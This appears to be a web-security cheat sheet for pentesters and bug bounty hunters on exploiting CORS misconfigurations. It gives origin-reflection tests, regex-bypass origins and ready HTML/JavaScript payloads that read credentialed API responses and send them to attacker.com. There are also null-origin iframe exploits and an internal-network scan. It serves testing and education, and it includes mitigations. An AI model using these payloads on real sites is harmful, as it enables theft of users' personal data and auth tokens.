Skip to content
Web Security

CORS Misconfiguration

Cross-Origin Resource Sharing bypass techniques for data theft

Understanding CORS

TEXT
CORS controls which origins can read responses from your API.

Without CORS: Browser blocks cross-origin response reading
With misconfigured CORS: Attacker's site can read victim's data

Detection

Basic Test

BASH
curl -H "Origin: https://evil.com" -I https://target.com/api/user

# Vulnerable if response includes:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Automated with Burp

TEXT
1. Add Origin: https://evil.com to request
2. Check response headers
3. If ACAO reflects your origin → potentially vulnerable
4. If ACAC: true → exploitable for authenticated data

Vulnerable Configurations

Origin Reflection

HTTP
Request:
Origin: https://evil.com

Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# Server reflects any origin → vulnerable!

Null Origin Allowed

HTTP
Request:
Origin: null

Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Exploitable via sandboxed iframe

Regex Bypass

HTTP
# If validation is ^https://.*\.target\.com$
Origin: https://evil.target.com       # Subdomain takeover
Origin: https://eviltarget.com         # Missing escape on dot
Origin: https://target.com.evil.com    # Suffix match
Origin: https://targetXcom.evil.com    # Dot as any char

Prefix Match Only

HTTP
# If validation checks startsWith("https://target.com")
Origin: https://target.com.evil.com    # Starts with target.com
Origin: https://target.comevil.com     # Still matches

Bypass Techniques

Subdomain Exploitation

HTTP
# If *.target.com trusted
Origin: https://anything.target.com

# Find subdomain with:
- XSS vulnerability
- Subdomain takeover potential
- Upload functionality

Protocol Downgrade

HTTP
# HTTPS target trusting HTTP
Origin: http://target.com

# Allows MitM to inject and exploit

Special Characters

HTTP
Origin: https://target.com%60.evil.com
Origin: https://target.com`.evil.com
Origin: https://target.com&.evil.com
Origin: https://target.com\.evil.com
Origin: https://target.com/.evil.com

Pre-Domain Characters

HTTP
Origin: https://evil!.target.com
Origin: https://evil$.target.com
Origin: https://evil*target.com
Origin: https://evil~target.com

Exploitation

Steal Authenticated Data

HTML
<script>
fetch('https://target.com/api/user', {
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Send stolen data to attacker
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>

XMLHttpRequest Version

HTML
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/sensitive', true);
xhr.withCredentials = true;
xhr.onload = function() {
    // Exfiltrate
    new Image().src = 'https://attacker.com/log?data=' + 
        encodeURIComponent(xhr.responseText);
};
xhr.send();
</script>
HTML
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.text())
.then(d => {
    navigator.sendBeacon('https://attacker.com/log', d);
});
</script>

Null Origin Exploitation

Sandboxed Iframe Creates Null Origin

HTML
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.json())
.then(d => {
    parent.postMessage(d, '*');
});
</script>
"></iframe>

<script>
window.addEventListener('message', function(e) {
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(e.data)
    });
});
</script>

Data URI Creates Null Origin

HTML
<iframe src="data:text/html,<script>
fetch('https://target.com/api/user', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>"></iframe>

Advanced Attacks

CORS + CSRF Chain

TEXT
If CORS allows attacker origin:
1. Victim visits attacker page
2. Attacker reads anti-CSRF token via CORS
3. Attacker performs action with token
4. Standard CSRF protections bypassed

Internal Network Scan

JAVASCRIPT
// Use CORS to scan internal network
const internalIPs = ['192.168.1.1', '10.0.0.1', '172.16.0.1'];

internalIPs.forEach(ip => {
    fetch(`http://${ip}/api/status`)
    .then(r => {
        // Internal service reachable
        fetch('https://attacker.com/log?found=' + ip);
    })
    .catch(e => {});
});

Testing Checklist

TEXT
Test with random origin (Origin: https://evil.com)
□ Test with null origin (Origin: null)
□ Test subdomain variations
□ Test regex bypass patterns
□ Check if credentials included (ACAC: true)
□ Verify actual data exfiltration works
□ Check preflight (OPTIONS) handling

Impact Documentation

What to Show

TEXT
1. Vulnerable endpoint
2. Request/response headers showing reflection
3. Working PoC page
4. Actual stolen data
5. Clear impact statement

Impact Classifications

TEXT
- Can read PIIHigh
- Can read auth tokens → Critical
- Can read financial dataCritical
- Can read internal dataHigh
- Only non-sensitive dataMedium/Low

Mitigations (Know What's Blocked)

Secure Configuration

TEXT
Access-Control-Allow-Origin: https://trusted.com  # Specific origin
Access-Control-Allow-Credentials: true

# OR for public APIs
Access-Control-Allow-Origin: *
# But NO credentials allowed with wildcard

What Browsers Block

TEXT
- Wildcard + Credentials → Blocked by browser
- No ACAO header → Response blocked
- ACAO doesn't match origin → Response blocked

Bug Bounty Tips

High-Value Targets

TEXT
- User profile endpoints
- Account settings
- API tokens/keys
- Financial data
- Internal APIs
- Admin endpoints

Common Misses

TEXT
- Test subdomains of the target
- Test HTTP version of HTTPS endpoints
- Test API versions (/v1/ vs /v2/)
- Test different content types
- Check WebSocket origins too
On this page